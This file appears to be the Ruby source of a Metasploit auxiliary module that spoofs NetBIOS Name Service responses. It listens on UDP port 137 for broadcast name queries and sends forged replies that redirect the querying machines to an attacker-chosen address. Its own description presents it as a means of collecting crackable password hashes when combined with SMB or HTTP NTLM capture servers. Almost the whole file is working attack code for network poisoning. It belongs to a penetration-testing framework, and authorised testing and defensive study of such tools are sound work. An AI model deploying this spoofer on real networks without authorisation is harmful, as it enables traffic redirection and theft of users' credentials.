metasploit-framework/modules/auxiliary/spoof/nbns/nbns_response.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Capture
attr_accessor :sock, :thread
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def initialize
super(
'Name' => 'NetBIOS Name Service Spoofer',
'Description' => %q{
This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
sent to the local subnet's broadcast address and spoof a response, redirecting the querying
machine to an IP of the attacker's choosing. Combined with auxiliary/capture/server/smb or
capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on
common networks.
This module must be run as root and will bind to udp/137 on all interfaces.
},
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
],
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
)
register_options([
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
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OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
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])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
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end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
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# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
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# Convert to string
rhost = rhost.to_s
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spoof = ::IPAddr.new(datastore['SPOOFIP'])
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return if packet.length == 0
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nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
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vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
vprint_status("transid: #{nbnsq_transid.unpack('H4')}")
vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")
vprint_status("questions: #{nbnsq_questions.unpack('n')}")
vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
vprint_status("full name: #{nbnsq_name.slice(1..-2)}")
vprint_status("decoded: #{decoded}")
vprint_status("decoded name: #{nbnsq_decodedname}")
vprint_status("type: #{nbnsq_type.unpack('n')}")
vprint_status("class: #{nbnsq_class.unpack('n')}")
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# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whatever that means
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spoof.hton
pkt = PacketFu::UDPPacket.new
pkt.ip_saddr = Rex::Socket.source_address(rhost)
pkt.ip_daddr = rhost
pkt.ip_ttl = 255
pkt.udp_sport = 137
pkt.udp_dport = src_port
pkt.payload = response
pkt.recalc
capture_sendto(pkt, rhost)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
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r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
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end
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
self.sock = Rex::Socket.create_udp(
'LocalHost' => "0.0.0.0",
'LocalPort' => 137,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
add_socket(self.sock)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
begin
monitor_socket
rescue ::Interrupt
raise $!
rescue ::Exception
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
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end
}
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
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self.thread.join
print_status("NBNS Monitor thread exited...")
end
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def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
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end
close_pcap
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end
end